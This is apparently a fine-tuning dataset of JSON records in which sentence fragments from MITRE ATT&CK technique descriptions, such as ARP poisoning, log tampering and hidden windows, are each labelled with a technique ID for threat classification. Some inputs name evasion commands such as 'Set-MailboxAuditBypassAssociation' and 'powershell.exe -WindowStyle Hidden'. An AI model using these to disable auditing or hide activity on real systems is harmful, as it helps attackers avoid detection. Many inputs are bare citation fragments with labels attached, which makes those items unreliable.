devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation:", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cylance Cleaver)", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cylance Cleaver) ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use ARP cache poisoning as a means to intercept network traffic.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use ARP cache poisoning as a means to intercept network traffic. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation:", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sans ARP Spoofing Aug 2003)", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sans ARP Spoofing Aug 2003) ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection.", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment.", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities. ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail:", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Generating strong AWS security signals with Sumo Logic)", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Generating strong AWS security signals with Sumo Logic) ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module)", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation:", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dark Reading Microsoft 365 Attacks 2021)", "output": "T1562.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dark Reading Microsoft 365 Attacks 2021) ### Response: T1562.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment.", "output": "T1518", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. ### Response: T1518."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1518", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1518."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", "output": "T1518", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). ### Response: T1518."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include things such as firewall rules and anti-virus.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include things such as firewall rules and anti-virus. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the <code>DescribeSecurityGroups</code> action with various request parameters.", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the <code>DescribeSecurityGroups</code> action with various request parameters. ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)", "output": "T1518.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud) ### Response: T1518.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, windows that would typically be displayed when an application carries out an operation can be hidden.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One example of this is <code>powershell.exe -WindowStyle", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One example of this is <code>powershell.exe -WindowStyle ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hidden</code>.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hidden</code>. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: PowerShell About 2019)", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: PowerShell About 2019) ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, on macOS the configurations for how applications run are listed in property list (plist) files.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, on macOS the configurations for how applications run are listed in property list (plist) files. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One of the tags in these files can be <code>apple.awt.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One of the tags in these files can be <code>apple.awt. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)", "output": "T1564.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware) ### Response: T1564.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018)", "output": "T1493", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) ### Response: T1493."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.", "output": "T1493", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. ### Response: T1493."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information.", "output": "T1493", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. ### Response: T1493."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary.", "output": "T1493", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. ### Response: T1493."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "output": "T1493", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact. ### Response: T1493."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005). ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2.", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Python commands and scripts for execution.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Python commands and scripts for execution. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Python is a very popular scripting/programming language, with capabilities to perform many functions.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Python is a very popular scripting/programming language, with capabilities to perform many functions. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Python code can also be compiled into binary executables.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Python code can also be compiled into binary executables. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's organization that can be used during targeting.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's organization that can be used during targeting. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social 